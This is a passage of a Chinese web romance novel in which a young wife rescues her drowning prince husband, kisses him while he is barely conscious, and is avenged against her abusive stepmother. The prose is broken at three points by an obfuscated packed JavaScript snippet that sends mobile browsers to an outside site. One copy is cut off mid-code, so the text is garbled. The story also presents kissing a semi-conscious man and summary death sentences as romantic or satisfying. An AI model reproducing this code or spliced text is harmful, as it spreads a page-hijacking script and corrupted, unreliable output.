翻开最新一页,从这一页开始进入故事线了,还是经典的《霸道侯爷爱上我》,她坐在湖边的大石头上,吹着微风,如痴如醉地看着。 不知坐在那儿看了多久,天色渐渐暗淡下来,一本书也很快翻到了最后几页。她屁股都有些坐麻了,于是站起来一边溜达一边看。 画上八块腹肌的侯爷正要告白,她低着头,嘴角咧到耳根,突然撞上一堵人墙。 宽阔厚实的胸膛,透过衣服还能隐隐能摸到胸肌,恍神间,她还以为是书中的侯爷献身了。 但熟悉的雪松香味和蓝色衣襟上的精致刺绣让她意识到,眼前的不是霸道侯爷,是寡淡王爷。 下一刻,有如霜雪淬玉般的冷冽声音便在她头顶响起:“哪条道德让你笑成这样?” 夏穗的心怦怦直跳,嘴上胡说八道着:“王爷误会了,不是道德好笑,是这故事里的人不守道德,最终恶有恶报,让人觉得大快人心。” 正所谓恶有恶报,她看着谢枕年——她的恶报来了。 谢枕年凤眸微眯,似乎也来了兴致:“什么故事?给我看看。” 面对步步紧逼的谢枕年,饶是演技精湛身经百战的夏穗,在此时不免也慌了神,她的嘴巴被赶鸭子上架拼命解释着,脚步一步步往后退。 “故事很长,天色已晚,也快用晚膳了,不如我待会把这个故事说给王爷听吧。” 不知不觉便退到了湖边,她没注意脚下,一脚就踩在了虚长着的杂草上,脚下一滑,身形有些不稳,好在她连忙扶住了旁边的大石头,但手中的小画本也因此落入湖中。 画本脱手,砸进池塘,溅起一片小小的水花。 两人的眼睛都同时落到小画本上。谢枕年眯起眼睛,像是想看清楚书上的内容。 这种玩物丧志的东西,怎么能让他看到! 夏穗作势就要跳下水,她打算假装救书,在水中随便扑腾两下,趁机把小画本彻底淹入湖水里。 她扒着石头就要往下跳,手腕突然被人扣住。 谢枕年紧紧抓住她的手腕,一把便把人拉到自己怀中,他温热的呼吸拂过耳垂:“水凉,叫下人拿竹竿捞上来便是。” 那张过分英挺的面孔近在咫尺,他垂下眼眸,看她的眼神中带着几分关切。 不过,像是关切傻子的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630653|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那本书在水面上打着转,有往岸边靠的趋势。 绝对不能让他看到,这本书今天必死无疑。 “来不及了,书会湿透的,我水性很好,我自己去捡回来就行。” 她反手推开谢枕年的胸膛,绣鞋已经踩到湿滑的苔藓。 谢枕年伸手要扶,却被她胡乱挥舞的胳膊带得失去平衡,连带着他也一起重重砸进池水里,惊走了湖中的一群鲤鱼。 夏穗如她自己所说的那般,她水性很好,很快便浮出水面,她死死按住漂到面前的小画本,浸透的纸张洇出隐约的人形轮廓。 此时也顾不得是什么珍藏宝贝了,她把整本书都泡在湖水中,纸张都浸了水后变得沉重,整本书慢慢沉下去。 她抹了把脸上的水珠,神色一转,略带遗憾地开口:“奇怪,书找不到了。” 当然,这句话是说给谢枕年听的。 没听到身后传来什么动静,她转过身,想再找补几句。 ?! 人呢? 湖面上看起来风平浪静。 夏穗定睛一看,不远处的湖面上传来一串细小的气泡。 他不会还在水下吧?! 她立刻深吸一口气,潜入湖水。她一下水,果然便看到了在拼命挣扎的谢枕年。 他的手脚毫无技巧地地扑腾着,但无论怎么扑腾也无济于事,身体还是往下沉去。 夏穗在水中和在陆地上一样灵活,她像条鱼一样径直朝谢枕年游过去,一手环过他的腋下,抱住他,带他奋力向上游,把人救了上来。 在水中救人上岸不比她自己游泳,人虽然救上来了,但她也被呛了好几口水。她把谢枕年晾在地上,自己先缓了缓。 琴棋书画,射御书数,谢枕年几乎样样精通。谁能想到这样一个无所不能的人居然不通水性! 夏穗瞥了他一眼,发现他没有要起身的架势,她爬过去看他才发现他面色惨白,像是昏过去了。 她连忙拍了拍他的脸,晃了晃他。谢枕年呛出几口水,但还是没醒。 她反应迅速,将他湿漉漉的衣服扒开,找准位置,用掌根压住胸骨正中央,先替他做心肺复苏。 他的衣襟散开,露出霜白色胸膛,他整个人都湿透了,水珠正顺着肩膀滑进锁骨凹陷处。她隔着薄薄皮肉,手下触感如浸过泉水的暖玉,还能感受到年轻躯体特有的柔韧弹力。 她在心里短暂地谴责了自己一秒钟,人命关天啊夏穗,怎么能只顾着贪恋这幅完美强壮的身体。 心中虽有杂念,但丝毫不影响她手上的动作。她捏住谢枕年下颌,嘴对嘴吹着气。 贴上那两片冰凉的唇,夏穗心无旁骛地替他渡气。 掌下的胸腔突然震颤了一下,谢枕年猛地呛出几口水,胸口剧烈起伏,大口呼吸着。 夏穗顺势托住他后脑,指腹陷进他潮湿的黑发里,一手在他胸口从上往下给他顺着气。 他湿透的睫毛微微颤动,但还未睁开眼睛。 夏穗低头俯身,想再帮他做一次人工呼吸,但他的手微弱地动了一下,虚虚按住她的肩膀。 谢枕年仍旧闭着眼睛,微皱着眉呼吸着,像是有些难受,鸦青睫毛沾着水珠,鼻梁如刀削过般陡直,唇色泛着冷青。 但夏穗尝过那张嘴的味道,并不像看上去的那么冰冷无味,而且,比寻常男子的嘴唇更丰润柔软些。 有时候面对虚弱无力的谢枕年,更让人想干坏事。 她有种想把他按在地上狂亲的冲动。 邪恶的想法一旦成型,便不可遏制地疯长起来。 18. 第 18 章 脑子里这么想着,夏穗手上的动作也很快,她直接拽下谢枕年虚虚按在她肩膀上的那只手。 她把他的手拉下来,按在腿上,反手扣住,十指交合,又低头吻下去。 湿嗒嗒的头发粘在脖颈间,让她有些不舒服,她随意地将头发撩起来,甩到身前。乌发垂下来,落在谢枕年的脸颊旁,更衬得他肤白如雪。 这个姿势让她想起了小画本上的画面。 她一手环到后背抱住他,一手搭在他剧烈起伏的胸口,湿布底下起伏的肌肉线条烫得指腹有些微痒。 她俯下身去,径直咬住谢枕年下唇的软肉,极尽温柔地吮吸着,接着,灵活的舌头轻而易举地挑进他微张的嘴唇,含住他半昏迷状态下绵软无力的舌头,放肆地在他口中搅动。 一片黏腻水声里,谢枕年的喉间溢出一声破碎的闷哼。 “嗯唔……” 简直是在为她助兴。 夏穗微微放开他,他原本发青的嘴唇被吮出血色,看着更加勾人心弦。 她没有亲过别人,这当然也是她的初吻,但是她的吻技相当好,而且变化多端。 她又低下头,轻轻吻了他,这个吻与她方才放荡大胆肆意妄为的感觉不同,这个吻像是对他乖乖听话的奖励一般,如细雨绵绵,细腻绵长。 彼此津液交换,谢枕年无意识地吞咽,夏穗伸出舌尖,卷走他唇角流出的水迹。 脑子里邪恶的欲望得到满足,她开始放慢动作,改用嘴唇反复描墓他唇峰的形状,留恋着唇齿之间的温存。 谢枕年觉得周身很安静,不,应该可以说是一片死寂。他的意识被高高抛起,又狠狠地砸向地面,这让他有些晕头转向。 但在摔得粉身碎骨前,好像有人稳稳地接住了他。尽管如此,意识还是轻飘飘的。身体的感觉也很奇怪,忽而深陷冰窟,忽而又如坠火坑。 他觉得脑袋很痛,眼睛也睁不开,但是他能察觉到他靠在一个柔软温暖的身体里,那个身体说不上健壮有力,但是让他觉得安心。 那副身体源源不断地向他传来热量,将他的意识好好安抚,浑身湿冷的皮肤开始渐渐发烫,原本凝固的血液也翻滚着,身体的感官慢慢归位。 脑袋,鼻腔,嘴巴,喉咙,没有一个地方是舒服的。 嘴唇尤其。 又痛又热又痒。 他微微睁开眼睛,眼前仍然一片黑暗,但并不是伸手不见五指的黑暗,他的视线被如黑瀑布般的乌发挡住了。 他看不到,但他知道夏穗在吻他。 唇上的触感也变得非常清晰,他从未与任何人有过如此亲密的接触。当然也不知道所谓的亲吻是什么感觉。 他现在知道了。 他不得不承认,这种异样的、新奇的感觉让他沉迷、贪恋,甚至足以击溃他刚刚找回的理智。 身体不由自主地回应了她。 夏穗停下来,微微一怔。 谢枕年也忽然回过神来,及时伸出手,又微微挡在她的肩膀前,轻声道:“行了,我醒了。” 他呼吸不畅,一句话一口三喘,说得断断续续的。 只是不知道是因为溺水过于虚弱,还是被她亲的。 他推开夏穗,想自己站起来。但他显然太高估自己的体力了,大脑有些缺氧,脚步虚浮,站也站不稳。 夏穗只好扶着他站起身,但他像是很生气似的,从她手中抽出手,甩了甩袖子。 “我自己走。”说完,他又睨了湿透的夏穗一眼,“你去换衣裳吧。” 语气如寒潭浸月似的凛冽,没有一点要谢救命恩人的意思。 真是的,不就是亲个嘴嘛。她搞不懂他在生气什么。 而且,那种情况下,亲嘴不是必然的选择吗? 她明明救了他,怎么他还反倒一副被欺负了的模样? 夏穗想了想,难道他在怪我毁了他的清白? 清白哪有命重要。 她站起身,甩甩手看着谢枕年离去的背影,忍不住在心中骂了他几句迂腐。走时还不忘趴在湖边看一眼,小画本有没有彻底沉下去。 晚饭她是一个人吃的,谢枕年找人来传话,说不必等他。 “王爷人呢?” “回娘娘,王爷在浴池里沐浴呢。” 她悠闲悠哉地吃了晚饭,却还不见人回来。 于是又忍不住问了一句:“王爷还没回来吗?” “是,听换水的下人说,池子里的温水已经换过三遍了,王爷只让他们继续烧水。” 夏穗撇撇嘴,真是的,是掉进湖里又不是掉进粪坑里,有必要洗那么久吗? 她继续在心中吐槽着,真把自己当遗世独立的白莲花了,不知道的还以为他身上沾染了什么污秽的东西。 想到这里,她的思绪忽然顿住了,心下一凉。 他洗那么久,莫非是在嫌弃自己亲过他? 思及此,夏穗气得“蹿”地一下站起来,怒拍了一下桌子,吓得旁边的婢女匆忙俯身跪下,小桃也呆愣住,有些惊讶地试探道:“小姐,你怎么了?” 夏穗现在脑海中满是谢枕年那张脸,甚至脑海里的他还对她做出了嫌恶的表情。她咬牙切齿道:“没什么,睡觉!” 她很生气,径直上床睡觉。 丫鬟们都安静地退了出去。良久,外面有脚步声传来,紧接着,门就被推开了。 夏穗在黑暗中眨了眨眼睛,身体没动,但竖起耳朵听着动静。 来人没在她床前做任何停留,进来后目的明确,直接走向那张小破床。 夏穗气得在床上翻了个身。 她本想熬个通宵,第二天起来在他面前装装可怜,让他知道他的所作所为对她造成了多大的伤害,让他好好内疚一番。 但身体不争气地睡着了。 而且躺在大床上,睡得很舒服。 第二日晨起,夏穗也没见到他,小破床上的被子已经叠好,早已人去床空。 彦修佩剑立在府门外,一手扶在剑上,一手牵着马,等着谢枕年出来。 守门的侍卫出来换班,见他还在门口,朝他打了个招呼,问道:“咦,王爷今日还没去上朝啊?” 彦修抬头略微看了眼天色,王爷今日确实晚了,这实在不像他的作风。 又等了一会儿,谢枕年才出现在门口,从脸色上看不出喜怒。 他看了看那匹高头大马,像是想到什么似的,脸上短暂地闪过一丝痛苦的神色,哑声道:“今日不骑马,换马车吧。” 彦修心中疑虑,但奉命行事。 马车在宫门前停下,彦修撩起车帘,候着谢枕年下车。 只见他正蹙眉扶着后腰,看动作,手上还在按揉着腰部。彦修立刻低头回避,小声体醒:“王爷,到了。” 谢枕年扶着他的手下车,另一只手还是没有离开后腰。 彦修忍不住想,这架势,想来昨晚应当是和王妃有过一场相当激烈的游戏。 不,如果是他们王爷的话,几场也说不定。 想到这里,他的耳根和脖颈不禁爬上一层绯红。 谢枕年揉揉腰,挺直腰板,朝宫内走去。那张小破床确实不是人睡的,他躺一个晚上,觉得腰已经快断了,他从小锦衣玉食,哪里受过这种苦? 心中觉得有些对不起夏穗。共房睡的第一晚就把她赶去睡那张小破床,确实是为难她了。 想起夏穗,他又想起昨天她对他的那翻肆虐。 他分不清,她当时只是单纯在救他,还是在吻他。如果是在吻他,他又不知道自己该怎么面对她的吻。 他甚至不知道应该是觉得羞愤还是应该觉得开心。他昨天泡在池子里想了很久很久,身上都泡起皮了,也没有想清楚。 但至少,他的身体很诚实地告诉他,他并不抗拒和她那样的接触。 接下来的几天里,谢枕年变得非常忙碌。夏穗还是在他旁边伴读,但他好像忙得没有时间吩咐她做事情,连两人说话的次数都很少。 她不知道他是真的很忙,还是在刻意避着她。 眼看着,女儿节到了。夏穗心里还记着老夫人的话,她本来想问一声谢枕年要不要和自己一起回去,但她睡过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630654|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头了,她睁眼时,谢枕年已经不在家了。 夏穗在家中等到中午,还不见他回来,果断决定自己一个人回去。况且,她还要把她的那些小画本带回来,谢枕年去了,反而不方便。 她带着小桃回了夏府,老管家见她回来,连忙进去通报她爹。不过如她所料想的那般,她那个醉鬼老爹喝得酩酊大醉,已经不省人事。 她也无意去拜访她的继母,打算回房取了她要拿的东西就打道回王府。 她想相安无事地来,也风平浪静地走,可府里某些人偏不让她如愿。 她和小桃正在房里收拾东西,几个女人很快就挡在她房门口。 继母和继妹带着一个丫鬟进来了,继母出口就是阴阳怪气: “哟,这不是我们的大小姐吗?还知道回来呢,还以为你灰麻雀变身后就找不着窝了呢。瞧瞧你这副样子,莫不是被王府赶出来了?” 夏穗懒得搭理他们,但小桃看不惯她们仗势欺人:“什么赶出来,我家小姐是奉老夫人之命回来省亲的。” 继妹冷哼一声:“省亲?那怎么不见王爷陪你回来?一个低贱丫头罢了,真以为王爷能看上你呢。” 小桃想还嘴,但被夏穗拉住了。这么多年,她们的明嘲暗讽和污言秽语,她早就习惯了。 在这个家多待一秒都让她觉得窒息,所以也并不想在这里跟她们做口舌之争,浪费时间。 见她平淡不理人的样子,继妹觉得一拳打在棉花上,更是火冒三丈,对一旁边的婢女使了个眼色。 婢女会意,上前粗暴地推了夏穗一把,又拽起她,接着扬起手。 换做以前,她必定装作逆来顺受的样子,低声下气忍了这一巴掌。再默默退至一旁,让她们得意忘形地离开,以求片刻安宁。 但今时不同往日,她已经离开了这个家,她的身份摆在这里,哪怕她再不受谢枕年喜欢,她也还是端王府的王妃。 婢女的这个举动正好成为她树威的机会。 夏穗快准狠地遏制住婢女的手腕,反手就是一巴掌。 那婢女被她打得眼冒金星,还没反应过来,夏穗扬手又是一巴掌。 她单手拎起那婢女的衣领,恶狠狠道:“我还惩治不了你吗?凭你们也想踩到我头上?睁大眼睛看清楚,站在你面前的,是端王的正妻,是王府的王妃!给我记住了,下回再见着我,最好低头绕道走,否则我见你一回,打你一回!” 她把人推出去好几米远,继母和继妹哪儿见过她这种仗势,一时间也被吓住了。 不过继母嚣张跋扈了这么多年,也不是吃素的,很快,几个家丁就冲上来,把她和小桃押住了。 他们人多势众,奈何夏穗再怎么挣扎,也被他们摁倒在地。 继妹得意洋洋地走过来,抓起桌上的茶壶就对着夏穗淋下来。 冰凉的茶水顺着她的脸颊和脖颈流下来,打湿了她的头发和衣服,这让她看起来有些狼狈。 继妹在她面前摔碎了那个茶壶,碎片飞溅,其中一片划伤了夏穗的额角,顿时鲜血直流。 继妹伸出一只脚,踩在她的背上,笑道:“王妃?” 她脚上加大了力气,夏穗痛得闷哼一声。 继妹脚上的力道还在加大,目露凶光:“王妃又怎么样?我告诉你,你只不过是从一个不受待见的家里被扔到另一个不受待见的家里罢了。什么王妃,还不是照样被我踩在脚底下。” 夏穗觉得脸上有什么温热的东西一直在流。 不知是血还是泪。 她闭上眼睛,像从前一样,幻想着记忆中温柔强大的母亲会如神明一般降临,然后把坏人打倒,把她带走。 但同时,理智又无比清晰地告诉她,那是不可能的事。 美好的记忆和幻想被撕碎,这更让她觉得痛苦。 恍惚中,一道矜贵清透的声音传入她的耳中。 “本王来晚了。” 夏穗有些愣神,脑袋也很昏沉,但很快,那道清雅好听的声音忽然就压低了几个度,变得森然阴戾: “我夫人,受你们照顾了。” 19. 第 19 章 夏穗抬头,只见谢枕年在门口,脸上是她从未见过凶狠暴戾,周身笼罩着骇人的压迫感和震慑力。 他身形高大,往门口一站,整个人几乎把门口的光全部挡住了,而他的影子正正好落在她的身上,像是一下子把她整个人都圈进他的领地范围内。 他光是站在那儿,什么都没做,就吓得押住她的家丁们都松了手,非常识相地退至一旁。 继妹也被他吓得脚软,直接“扑通”一下跪倒在他面前,吓得嘴唇发青,支支吾吾的说不出话来。 继母见状,也赶忙扑在他脚底下跪下,嘴唇颤抖着:“王爷,你……你怎么来了?” “王妃回娘家省亲,本王自然要陪同。不过,看二位好像不怎么欢迎我啊。” 继母连忙否认:“没有没有,我们不知王爷会来,没准备什么。我们正和小穗闹着玩儿呢,房间小,人又多,七手八脚的,也不知怎么着磕破皮了。” 她说完,又厉声对旁边的丫鬟吼道:“死丫头,一点眼力劲儿都没有!愣着干嘛,还不快去给王妃拿药来!” 夏穗嗤笑一声,她拿自己哑巴了吗?! 她从地上艰难爬起来,接过小桃递过来的丝帕,捂住血流不止的伤口,对谢枕年说道:“王爷,她拿你当傻子耍。” 谢枕年低头看着满地的茶壶碎片,很快便大概猜到了事情的原委。 他信步走到桌边,随意拿起一个被反扣住的茶杯,在手中把玩着,把目光投向夏穗,问道:“我来还是你自己来?” 夏穗会意,走过去接过他手中的茶杯,以其人之道还治其人之身,在手中掂了掂,用力朝着继妹的脸上一砸。 茶杯应声落地,继妹的脸上也顿时见了血,她疯了似的叫着。 谢枕年半倚靠在桌旁,姿态懒散随意,双手环胸,十分欣慰地看着她。 夏穗回过头,与他对视上,像个玩得开心的孩子般朝他笑笑。 他朝着桌上还剩下的三只茶杯微扬了扬下巴,示意她那里还有。 于是夏穗抓起桌上的第二个杯子,朝着继母扔过去,但被她躲开了。 居然还躲? 她大大地不高兴。 像是一场游戏般,她又拿起第三个、第四个杯子砸向继母。继母不敢再惹怒他们,于是便咬着牙不动。 其中一个砸在她的额头上,另外一个砸在她的肩颈处。被连续重砸了两下,她整个身体都半仰着倒在地上。 谢枕年从她身后走过来,站在她的身旁问道:“尽兴了吗?没尽兴的话,我让人取几支箭来。” 夏穗还未说话,听到这话的继母立即连滚带爬地扑向谢枕年,向他哭诉道:“饶命啊,王爷!” 说着,气急败坏地用手指着夏穗,怒喊道:“是她!都是她这个贪得无厌的丫头!都嫁入王府了,还想着回来拿夏府的财产,我身为母亲,只不过是规训了几句,她反手便打了我的丫鬟。当着我的面这么放肆,跟打在我脸上有什么差别?王爷,我只是想好好教养一下她,这也错了吗?” 夏穗冷笑:“这么多年过去,您颠倒黑白的能力倒是越来越厉害了。” 她本来想就此收手的,但她没想到继母不仅完全没有要悔过的意思,竟然还反咬一口。 继母不理会她,继续抗争道:“王爷,我跟她斗了这么多年,你以为我捞着多少好处吗?这死丫头根本不是省油的灯!” 谢枕年像是听到一个很好笑的笑话,忍不住笑出声来。 他笑得越来越大声,继母面如死灰的表情僵在脸上,连夏穗也颇为疑惑地回头看他。 笑了一会儿,他终于停下来了,反问道:“莫非……你是在向我告状吗?” 他抬起唇角,连语气中也带着忍俊不禁的笑意,但眼神却一点点冰冷下来,寒气逼人,弯腰盯着继母的眼睛。 “很可惜,你找错人了。你以为我是来干嘛的呢?我可不是来当清官断案的。” 他是来替夏穗撑腰的。 他挥挥手,懒得跟他们玩儿了,在房内扫视一圈,吩咐道:“动过手的,自行去衙门领三十大板。至于你们俩……” 他的视线很快地继母和继妹身上瞥过,挥挥手道:“逐出夏府,流放北疆,此生不得回京。” 继母崩溃着大喊了几句,她不敢骂谢枕年,但她欺压夏穗已久,她敢骂夏穗。 她指着夏穗的鼻子破口大骂:“你这臭不要脸的小贱人!你这狐狸精!” 骂到这里,她眼珠滴溜一转,一计不成,又生一计,跪着朝谢枕年爬了几步,像是抓住最后的救命机会,几乎是狂喊出来: “王爷,您这么护着她,您恐怕不知道吧?这死丫头有一个相好的情人,就住在隔壁,他们早就私定终身了!估计连身子都早就给他了!王爷要是不信,可以派人去查!” 谢枕年微微愣住。 夏穗看到他微蹙的眉头,心下大叫不妙,她正想说点什么解释一下,但谢枕年却在她之前先开口了:“侮辱王妃,罪加一等,直接赐死吧。” 语气平淡如水,听不出是什么情绪。 夏穗看着他微抬的嘴角和轻轻蹙起的眉,她想从那张面不改色的脸上窥探到一点什么,可她有些看不透他。 他的笑绵里藏针,好像那些话真的激怒他了,但又好像完全不在意。 继母的心凉下去半截,她是一点法子也没有了,最后只能苦苦哀求他:“王爷,我甘愿受死,但求你饶我女儿一命。她是无辜的,是我、都是我脑子糊涂,唆使她跟我做这种事,她是被我逼的!” 她一边说,一边泪流满面。见谢枕年铁石心肠,无动于衷,她又改了方向,跪着爬到夏穗面前,趴在她的鞋子上呜咽: “小穗,你开口救救她,你知道的,你妹妹自由体弱多病,她会死在流放的路上的!她年纪还小,以后没了我的庇护,对她来说已经够残忍了!” 她冷冷地看着继母,眼神如刀片般锋利,扯了扯嘴角,冷哼一声:“残忍?好,我问你,你当日用毒害死我母亲时,有没有想过,对我来说也很残忍?” 继母的瞳孔略缩,有些不可置信地看着她:“你、你都知道……” 她像是被抽走了最后一丝力气,瘫坐在地上。 继妹见状,爬过来一般将她母亲拉起来:“娘亲!你求她干什么?你若死了,女儿绝不苟活!” 夏穗觉得喉头干涩,舌根处泛起一股苦涩感,她努力压了压,笑道:“真是,好一出母女情深的场面。” 话刚说完,便从门口歪歪斜斜跑进来一个中年男子,身上带着熏天的酒气。 是夏尹,夏穗的父亲。 他此时的眼神尚且算得上清明,他胸前的一片衣襟都湿透了,想必是被灌了不少醒酒汤。 动静闹得这么大,他不得不出来。一双浑浊的眼球看向夏穗,又看了看那俩母女,也不问是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏穗坐在床边,任由别人摆布着她,无论是清理伤口还是上药,她都垂着头,一声不吭。 很痛。 不仅是伤口,心里也是。 刚才继母和继妹那般母女情深的场面,确实是伤到她了,让她也想起她的母亲。 大夫给她包扎好伤口,叮嘱了几句注意事项,便退下了。 谢枕年见她如此低落,朝她靠近了些,倾身过来,轻轻拥住了她。 夏穗愣了愣,这还是他第一次如此主动和她产生身体接触。 但谢枕年把控得很好,他的这个拥抱非常有君子之风,手脚安分,进退得体,只是极轻地揽住她,在她背上拍了拍。 然后很快地松开了她。 他看到夏穗略微惊疑的目光,朝她笑道:“人在心情不好时,被抱一抱会好很多。这不是你告诉我的吗?” 夏穗有些感动:“王爷还记着呢。” 难得碰上谢枕年也肯花心思哄她,她深吸一口气,对他扬起一个笑容,像是已经释怀道:“王爷,我想好了,把她们母女二人流放吧。是死是活,交给天意。” 谢枕年不置可否,想问的话脱口而出:“她们以前……” 话说到嘴边,又想起什么似的,忽然闭嘴不说了。 夏穗反问:“怎么了?” 谢枕年站起身,避开她询问的目光,直接转移话题:“没什么,回府吧。” 两人上了马车,相对而坐。 夏穗折腾了大半日,有些累了,终于能安心休息会儿,便全身放松,靠在车上闭目小憩。 外面传来马夫的长喝声,马车猛地停下。 她睁开眼睛,来不及稳住身体便往前倾倒,一头栽进 ——谢枕年大马金刀的坐姿里。 20. 第 20 章 这个姿势…… 让两个人都不敢妄动。 夏穗眨了眨眼,这是她第一次如此近距离地接触到男女真正有别的地方,她用手撑着谢枕年的膝盖,往后仰了仰,拉开了些距离,尴尬地笑了两声。 气氛微妙,两个人都没说话,外面的车夫掀起车帘,十分抱歉地解释道:“王爷受惊了,方才有个小孩儿乱跑,差点撞到他。” 谢枕年以手握拳,放在嘴边假咳了一声,摆了摆手:“没事。” 两人回了府,谢枕年只对她说了一句好好休息,然后立即召见了彦修。 夏穗立在原地,看着他匆忙离去的背影,不禁微微叹了口气。看起来他今日确实很忙,在夏府耽误的那会儿功夫,按他的个性估计会熬夜补时间了。 彦修刚到,谢枕年免了他的礼,直接吩咐道:“你去查查夏府的事,尤其是夏穗和她继母继妹之间的事情,无论大小事,都查清楚了告诉我。” 刚刚在医馆,他本来想直接问夏穗的。但他不想让她回忆起那些伤心往事,于是没有再问。 可他还是想知道。 他想更了解她一些,想知道她的过去,知道她的创伤,这样在以后相处时可以尽量避免,或者努力弥补。 更何况,继母最后反咬夏穗时说的那番话,也让他有些在意。 夏穗真的有那么一个私定终身的情人吗? 整整一天,他都没什么心思干别的事情,这个问题一直盘旋在他的脑子里,他不知道自己为何会那样焦躁,那样心烦意乱,坐立难安。 但谢枕年终归是谢枕年,他花了一个晚上的时间,决定克制自己不去想这件事情,一切等彦修查清楚以后再说。 时局动荡,北疆战乱未平,西南藩镇又有人自立为王,起兵造反。 朝中有能力的几个武将皆镇守在北疆,剩下大多是些只会纸上谈兵的文臣,还有一些初出茅庐的后生。 放眼望去,谢枕年文武双全,年轻有为,本身就有勇有谋,堪当大任,谢家祖祖辈辈又都是武将,深得一众将士们信任,在军中威望颇高。 没有人比他更适合带兵平定战乱了。 于是皇帝亲赐虎符,加封他为征夷大将军,派他去西南平定战乱。 谢枕年走时什么也没带,就带了个贴身侍卫彦修随行。 他这一走,就是一年多。 这段日子,夏穗得知的所有关于谢枕年的消息,都是来自老夫人。 对老夫人来说,她的夫君和大儿子全都折在边疆沙场上,她日夜忧心着,生怕谢枕年也会被留在战场上。 谢枕年偶尔会写信回来,但也只是简单表明战况,最后留一句安好,从不写归期。 老夫人捧着薄薄的一张纸,就像捧着稀世珍宝似的,读了一遍一遍又一遍。 夏穗也想过,要不要主动写信给他,问问他的身体怎样,问问他多久回来,或者,跟他说说家里的情况。 但她听叔父说西南战况激烈,他作为主将,估计每天都忙的脚不沾地。 写信这事最终还是作罢,她留在后方,帮他照顾好老夫人和谢家,应当就是对他最大的助力。 这一年多里,夏穗的小日子过得有声有色。 她白天看戏听说书,晚上窝在被子里看小画本,入睡时便能做个好梦,梦里什么样的男人都有。 当然,最多的还是谢枕年。 没办法,从身高到外形,从气质到才华,他各方面的条件实在是太优越了,她至今还没碰到综合条件能够超过谢枕年的男人。 在一个风和日丽的下午,她又躺在湖边的大石头上看小画本,小桃激动地冲过来,拉起她喊到:“王爷回来了!” 夏穗一个鲤鱼打挺起身,迅速把小画本藏到石头底下,好好理了理衣服,出去迎接谢枕年。 他一袭银甲,腰配长剑,乌发用红色发带高高束在身后。看着消瘦了一些,但身上多了几分杀伐果决的威仪和血色风骨。 夏穗迎上去,和府里所有人一样,朝他恭敬行礼。他只是淡淡看了她一眼,没有多话。 她本以为小别胜新婚,谢枕年回来后要不了几天应该就要和自己行夫妻之礼,但事实却正好相反。一年多都不见,两人之间似乎更加生疏了。 谢枕年回房间休息的第一晚,便径直走向了那张小破床。夏穗几次想开口邀他到大床上来睡,但看他那拒人于千里之外的气场,便讪讪闭嘴。 此后的几个晚上也是这样。 夫妻生活平淡如水,两人相敬如宾。 夏穗有些郁闷,约了平日里一起鬼混的几个姐妹出来玩儿,但她们不是有孕在身要静养,就是忙着照顾孩子。 她掐指算算日子,没想到她嫁入王府已经快三年了。她这几年在外面鬼混,也结识了几个要好的朋友,夏穗看着她们恋爱、成亲、生子,有的甚至已经生二孩了,而她,还是处女之身。 她想不明白问题到底出在哪里。 她一个人沉闷地在街上漫无目的地游走,难得反思着自己的问题。 是她长得不够好看吗?还是他不喜欢自己这种类型?又或者是他心里其实也有些看不起她的出身? 夏穗想了半天,始终也不能得出正解,她摇摇脑袋,唉,真是的,怎么能光从自己身上找问题呢? 退一万步讲,谢枕年就一点问题也没有吗? 不,他问题很大。 就算他不好女色,寡淡自持,性格慢热,但他们是结发夫妻,夏穗也给了他时间接受自己,三年还不够吗? 人生也不过短短三万天,能有几个三年。 夏穗还在思考其他原因,几道爽朗的笑声传入她的耳朵。她侧目看去,有几个纨绔子弟模样的人从酒楼里说笑着走出来。 “此话当真?前朝真有人是断袖?” “那还有假?是我在朝廷当差的兄长跟我说的。” “是哪位大人啊?” “这他哪敢说给我听啊?不过听他描述,应该是个位高权重的大人,而且深藏不露,为了掩盖他这个癖好还娶了妻。” 夏穗心中警铃大作。 该不会,谢枕年就是那个断袖?! 人一旦在心里种下怀疑的种子,过往的很多细枝末节便都会滋助它生长。 怪不得,怪不得他装病逃避联姻,那种世家女子自然是不好糊弄,娶一个身份低微无依无靠的女子,好方便他偷男人! 他在背着她偷谁? 夏穗在脑子里把她认识男人都过了一遍,整个王府,除了谢枕年,最好看的男人要数彦修。 难怪! 难怪他去西南带兵打仗,只带了彦修一个人去! 难怪他找彦修谈事会谈到深夜! 夏穗越想越觉得她这个猜测是真的,但又不敢妄下定论。 不过很快,验证她猜想的机会就来了。 她一把推开房门,只见谢枕年半依靠在柱子上,外袍被胡乱脱了扔在脚边,里衣半褪,仰起头,露出雪白发红的脖颈。 他往后仰着脖子,低沉急促地喘着气,脸上泛着异样的绯红,眼神氤氲迷离,一片旖旎之色。 见她进来,他的眼睛里像是找回一点理智,慌忙拢了拢衣服。 夏穗看了这么多年的小话本,谢枕年这种情况,她一看便知是被人下了什么催.情的药物。 但她现在没心思纠结是谁胆大包天敢给谢枕年下药,比起这个,她更想验证另一件事情。 判断他是不是断袖,她一试便知。 夏穗快步走到他身边,佯装惊讶道:“王爷,你怎么了?” 她尽量多的制造肢体接触,她一手扶住他的手肘,一手探了探他的额头和脖颈,在他耳边轻轻叫他。 “王爷……我扶你去床上。” 